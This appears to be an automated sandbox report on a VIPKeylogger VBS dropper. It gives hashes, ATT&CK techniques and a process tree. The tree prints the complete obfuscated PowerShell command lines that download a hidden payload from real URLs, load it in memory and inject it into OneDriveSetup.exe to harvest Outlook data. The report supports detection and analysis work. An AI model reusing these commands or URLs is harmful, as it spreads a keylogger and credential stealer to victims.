vipkeylogger | c35fb5adc491eb8c62504f7d88e8809a7d273b29851a6a66b6155936d07acea3

General

Target

c35fb5adc491eb8c62504f7d88e8809a7d273b29851a6a66b6155936d07acea3.vbs
Size

11KB
MD5

2c6472b80d9ffbbb9a68c8dc0ff6fb19
SHA1

a7c487f72bb59453014912b36610d254452fa87a
SHA256

c35fb5adc491eb8c62504f7d88e8809a7d273b29851a6a66b6155936d07acea3
SHA512

f541e67826d489f8b6694ead8486acbf6dc64fbbf624006404a842549b896a0590170a68dba624fd3c99dfc3772d7390deed23479700e2cb3354e5b20fd054b4
SSDEEP

192:TXHapAOg8/W/MnmbKMpuLMEyTeFQnu3mdOLkL7Fi:TXjU8k3mOkw

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

vipkeylogger

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow	pid	Process
4	1152	WScript.exe
5	1152	WScript.exe
19	1680	powershell.exe
29	1680	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
1552	powershell.exe
1680	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exeWScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

OneDriveSetup.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	OneDriveSetup.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	OneDriveSetup.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	OneDriveSetup.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
30	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 1680 set thread context of 4420	1680	powershell.exe	97

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

OneDriveSetup.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OneDriveSetup.exe

Modifies registry class 1 IoCs

Processes:

WScript.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings	WScript.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

powershell.exepowershell.exeOneDriveSetup.exe

pid	Process
1552	powershell.exe
1552	powershell.exe
1680	powershell.exe
1680	powershell.exe
4420	OneDriveSetup.exe
4420	OneDriveSetup.exe
4420	OneDriveSetup.exe
4420	OneDriveSetup.exe
4420	OneDriveSetup.exe
4420	OneDriveSetup.exe
4420	OneDriveSetup.exe
4420	OneDriveSetup.exe
4420	OneDriveSetup.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeOneDriveSetup.exe

description	pid	Process
Token: SeDebugPrivilege	1552	powershell.exe
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeDebugPrivilege	4420	OneDriveSetup.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exeWScript.exepowershell.exepowershell.exe

description	pid	Process	procid_target
PID 2232 wrote to memory of 1152	2232	WScript.exe	83
PID 2232 wrote to memory of 1152	2232	WScript.exe	83
PID 1152 wrote to memory of 1552	1152	WScript.exe	87
PID 1152 wrote to memory of 1552	1152	WScript.exe	87
PID 1552 wrote to memory of 1680	1552	powershell.exe	89
PID 1552 wrote to memory of 1680	1552	powershell.exe	89
PID 1680 wrote to memory of 4420	1680	powershell.exe	97
PID 1680 wrote to memory of 4420	1680	powershell.exe	97
PID 1680 wrote to memory of 4420	1680	powershell.exe	97
PID 1680 wrote to memory of 4420	1680	powershell.exe	97
PID 1680 wrote to memory of 4420	1680	powershell.exe	97
PID 1680 wrote to memory of 4420	1680	powershell.exe	97
PID 1680 wrote to memory of 4420	1680	powershell.exe	97
PID 1680 wrote to memory of 4420	1680	powershell.exe	97
PID 1680 wrote to memory of 4420	1680	powershell.exe	97

outlook_office_path 1 IoCs

Processes:

OneDriveSetup.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	OneDriveSetup.exe

outlook_win_path 1 IoCs

Processes:

OneDriveSetup.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	OneDriveSetup.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c35fb5adc491eb8c62504f7d88e8809a7d273b29851a6a66b6155936d07acea3.vbs"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\lhkienstecrzljq.vbs"
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdGdktpbWFnZVVybCA9IHdGbGh0dHBzOi8vMTAxNy5maWxlbWFpbC4nKydjb20vYXBpLycrJ2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NCcrJzUxNzZhMDkwNGYgd0ZsO0Z2S3dlYkNsaWVudCA9JysnIE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JysnRnZLaW1hZ2VCeXRlcyA9IEZ2S3dlYkNsaWVuJysndC5Eb3dubG9hJysnZERhdGEoRnZLaW1hZ2VVcmwpO0Z2S2ltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEZ2S2ltYWdlQnl0ZScrJ3MpO0Z2S3N0YXJ0RmxhZyA9IHdGbDw8QkFTRTY0X1NUQVJUPj53Rmw7RnZLZW5kRmxhZyA9IHdGbDw8QkFTRTY0X0VORD4+d0ZsO0Z2S3N0YXJ0SW5kZXggPSBGdktpbWFnZVRleCcrJ3QuSW5kZXhPZihGdktzdGFydEZsYWcpO0Z2S2VuZEluZGV4ID0gRnZLaW1hZ2VUZXh0LkluZGV4T2YoRnZLZW5kRmxhZyk7RnZLc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIEZ2S2VuZEluZGV4IC1ndCBGdktzdGFydEluZGV4O0Z2S3N0YXJ0SW5kZXggKz0gRnZLc3RhcnRGbGFnLkxlbmd0aDtGdicrJ0tiYXNlNjRMZW5ndGggPSBGdktlbmRJbmRleCAtIEZ2S3N0YXJ0SW5kZXg7RnZLYmFzZTY0Q29tbWFuZCA9IEZ2S2ltYWdlVGV4dC5TdWJzdHJpbmcoRnZLc3RhcnRJbmQnKydleCwgRnZLYmFzZTY0TGVuZ3RoKTtGdktiYScrJ3NlNjRSZScrJ3ZlcnNlZCA9IC1qb2luIChGdktiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgOFh2IEZvckVhY2gtT2JqZWN0IHsgRnZLXyB9KVsnKyctMS4uLShGdktiYXNlNjRDb21tYW5kLkxlbmd0aCldO0Z2S2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydCcrJ106OkZyb21CYXMnKydlNjRTdHJpbmcoRnZLYicrJ2FzZTY0UmV2ZXJzZWQpO0Z2S2xvYWRlZEFzc2VtYmx5ID0nKycgW1N5c3RlbS5SZWZsZWN0aW8nKyduLkFzc2VtYmx5XTo6TG9hZChGJysndktjb21tYW5kQnl0ZXMpO0Z2S3ZhaU1ldGhvZCcrJyA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2Qod0ZsVkFJd0ZsKTtGJysndkt2YWlNZXRob2QuSW52b2tlKEZ2S251bGwsIEAodycrJ0ZsdHh0LmRzdGVwL3BvcC91ZS5wcmcnKyd4YW15Z3JlbmUuZ2lnLy86cHR0aHdGbCwgd0ZsZGVzYXRpdmFkb3dGbCwgd0ZsZGVzYXRpdmFkb3dGbCwgd0ZsZGVzYXRpdmFkb3dGbCwgd0ZsZGVzYXRpdmFkb3dGbCwgd0ZsMXdGbCwgdycrJ0ZsT25lRHJpdmVTZXR1cHdGbCwgd0ZsZGVzYXRpdmFkb3dGbCwgd0ZsZGVzYXRpdmFkb3dGbCx3RmxkZXNhdGl2YWRvd0ZsLHdGbGRlc2F0aXZhZG93Rmwsd0ZsZGVzYXRpdmFkb3dGbCx3Rmwxd0ZsLHdGbGRlc2F0aXZhZG93RmwpKScrJzsnKS5SZXBsQWNFKCd3RmwnLFtzVFJJbkddW0NoQXJdMzkpLlJlcGxBY0UoKFtDaEFyXTcwK1tDaEFyXTExOCtbQ2hBcl03NSksJyQnKS5SZXBsQWNFKChbQ2hBcl01NitbQ2hBcl04OCtbQ2hBcl0xMTgpLCd8JykgfCYgKCAkVkVSYm9zZXByZUZlcmVuQ2UuVG9zVFJJbkcoKVsxLDNdKydYJy1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1552
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('FvKimageUrl = wFlhttps://1017.filemail.'+'com/api/'+'file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c173094'+'5176a0904f wFl;FvKwebClient ='+' New-Object System.Net.WebClient;'+'FvKimageBytes = FvKwebClien'+'t.Downloa'+'dData(FvKimageUrl);FvKimageText = [System.Text.Encoding]::UTF8.GetString(FvKimageByte'+'s);FvKstartFlag = wFl<<BASE64_START>>wFl;FvKendFlag = wFl<<BASE64_END>>wFl;FvKstartIndex = FvKimageTex'+'t.IndexOf(FvKstartFlag);FvKendIndex = FvKimageText.IndexOf(FvKendFlag);FvKstartIndex -ge '+'0 -and FvKendIndex -gt FvKstartIndex;FvKstartIndex += FvKstartFlag.Length;Fv'+'Kbase64Length = FvKendIndex - FvKstartIndex;FvKbase64Command = FvKimageText.Substring(FvKstartInd'+'ex, FvKbase64Length);FvKba'+'se64Re'+'versed = -join (FvKbase64Command.ToCharArray() 8Xv ForEach-Object { FvK_ })['+'-1..-(FvKbase64Command.Length)];FvKcommandBytes = [System.Convert'+']::FromBas'+'e64String(FvKb'+'ase64Reversed);FvKloadedAssembly ='+' [System.Reflectio'+'n.Assembly]::Load(F'+'vKcommandBytes);FvKvaiMethod'+' = [dnlib.IO.Home].GetMethod(wFlVAIwFl);F'+'vKvaiMethod.Invoke(FvKnull, @(w'+'Fltxt.dstep/pop/ue.prg'+'xamygrene.gig//:ptthwFl, wFldesativadowFl, wFldesativadowFl, wFldesativadowFl, wFldesativadowFl, wFl1wFl, w'+'FlOneDriveSetupwFl, wFldesativadowFl, wFldesativadowFl,wFldesativadowFl,wFldesativadowFl,wFldesativadowFl,wFl1wFl,wFldesativadowFl))'+';').ReplAcE('wFl',[sTRInG][ChAr]39).ReplAcE(([ChAr]70+[ChAr]118+[ChAr]75),'$').ReplAcE(([ChAr]56+[ChAr]88+[ChAr]118),'|') |& ( $VERbosepreFerenCe.TosTRInG()[1,3]+'X'-JoIN'')"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1680
    - - C:\Windows\SysWOW64\OneDriveSetup.exe
        
        "C:\Windows\SysWOW64\OneDriveSetup.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:4420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2rmbetja.vye.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\lhkienstecrzljq.vbs

Filesize
1KB

MD5
a82f4032d41676a0b73ed0812494840e

SHA1
72dc7035344b30d2430fb851f383070dc3d1e364

SHA256
b03c7f247ea3d720f27e34e0975cb0b3a04100a2222bc86bce6c210eb8d352d0

SHA512
42c3a17ec824725cd157ba4af541b2c3d36c371297e836906de4f9e310a8d9f8bfeb9a835e1d0eb39807d11422c20fa1d54875065c2188874678776c0124ba01

Download Submit
memory/1552-5-0x0000023769F10000-0x0000023769F32000-memory.dmp

Filesize
136KB

Download
memory/1680-23-0x0000019C38B70000-0x0000019C38CC8000-memory.dmp

Filesize
1.3MB

Download
memory/4420-31-0x0000000006B30000-0x0000000006B80000-memory.dmp

Filesize
320KB

Download
memory/4420-30-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/4420-24-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/4420-32-0x0000000007180000-0x0000000007724000-memory.dmp

Filesize
5.6MB

Download
memory/4420-33-0x0000000006BF0000-0x0000000006C3E000-memory.dmp

Filesize
312KB

Download
memory/4420-34-0x0000000006CE0000-0x0000000006D7C000-memory.dmp

Filesize
624KB

Download
memory/4420-35-0x0000000008160000-0x0000000008322000-memory.dmp

Filesize
1.8MB

Download
memory/4420-36-0x0000000008000000-0x0000000008050000-memory.dmp

Filesize
320KB

Download
memory/4420-37-0x0000000008860000-0x0000000008D8C000-memory.dmp

Filesize
5.2MB

Download
memory/4420-38-0x0000000008E90000-0x0000000008F22000-memory.dmp

Filesize
584KB

Download
memory/4420-39-0x00000000084C0000-0x00000000084CA000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads